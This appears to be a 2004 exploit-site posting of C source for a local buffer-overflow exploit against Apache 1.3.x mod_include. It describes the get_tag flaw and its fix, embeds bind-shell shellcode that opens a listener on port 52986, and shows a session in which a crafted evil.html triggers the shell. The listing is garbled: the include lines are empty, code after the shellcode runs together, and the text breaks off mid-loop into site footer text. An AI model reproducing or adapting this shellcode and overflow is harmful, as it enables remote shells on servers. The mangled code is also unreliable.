Apache


                        
/*********************************************************************************
 local exploit for mod_include of apache 1.3.x                                                                              *
 written by xCrZx /18.10.2004/                                                                                                   *
 bug found by xCrZx /18.10.2004/                                                                                              *
                                                                                                                                              *
 Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike)                                                   *
                                                                                                                                              *
*********************************************************************************/

/*********************************************************************************
Technical Details:

there is an overflow in get_tag function:                                                                                 
                                                                                                            
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode) 
{ 
... 
term = c; 
while (1) { 
GET_CHAR(in, c, NULL, p); 
[1] if (t - tag == tagbuf_len) { 
*t = '\0'; 
return NULL; 
} *
// Want to accept \" as a valid character within a string. // 
if (c == '\\') { 
[2] *(t++) = c; // Add backslash // 
GET_CHAR(in, c, NULL, p); 
if (c == term) { // Only if // 
[3] *(--t) = c; // Replace backslash ONLY for terminator // 
} 
} 
else if (c == term) { 
break; 
} 
[4] *(t++) = c; 
} 
*t = '\0'; 
... 

as we can see there is a [1] check to determine the end of tag buffer 
but this check can be skiped when [2] & [4] conditions will be occured
at the same time without [3] condition.

So attacker can create malicious file to overflow static buffer, on 
which tag points out and execute arbitrary code with privilegies of 
httpd child process. 

Fix: 
[1*] if (t - tag >= tagbuf_len-1) { 

Notes: To activate mod_include you need write "XBitHack on" in httpd.conf 

*********************************************************************************/

/*********************************************************************************
Example of work: 

[root@blacksand htdocs]# make 85mod_include 
cc 85mod_include.c -o 85mod_include 
[root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html 
[root@blacksand htdocs]# chmod +x evil.html 
[root@blacksand htdocs]# netstat -na|grep 52986 
[root@blacksand htdocs]# telnet localhost 8080 
Trying 127.0.0.1... 
Connected to localhost. 
Escape character is '^]'. 
GET /evil.html HTTP/1.0 
^] 
telnet> q 
Connection closed. 
[root@blacksand htdocs]# netstat -na|grep 52986 
tcp 0 0 0.0.0.0:52986 0.0.0.0:* LISTEN 
[root@blacksand htdocs]# 
*********************************************************************************/

/*********************************************************************************
Notes: ha1fsatan - ti 4elovek-kakashka :))) be co0l as always 
*********************************************************************************/

/*********************************************************************************
Personal hello to my parents :) 
*********************************************************************************/

/*********************************************************************************
Public shoutz to: m00 security, ech0 :), LByte, 0xbadc0ded and otherz 
*********************************************************************************/


#include 
#include 
#include 

#define EVILBUF 8202
#define HTMLTEXT 1000

#define HTML_FORMAT "\n\nxCrZx 0wn U\n"

#define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x by xCrZx /18.10.2004/ ***\n"

int main(int argc, char **argv) {

char html[EVILBUF+HTMLTEXT];
char evilbuf[EVILBUF+1];

//can be changed
char shellcode[] =

// bind shell on 52986 port 
"\x31\xc0"
"\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43"
"\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89"
"\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0"
"\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68"
"\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51"
"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

//execve /tmp/sh 1) ret=strtoul(argv[1],0,16);
else { fprintf(stderr,AUTHOR"\nUsage: %s  > file.html\n\n",argv[0]);exit(0); }

padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2);

while(1) {
if(padding%2==0) { padding/=2; break;}
else {padding--;xpad++;}
}

memset(html,0x0,sizeof html);
memset(evilbuf,0x0,sizeof evilbuf);

for(i=0;i

 F-VNS Security Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits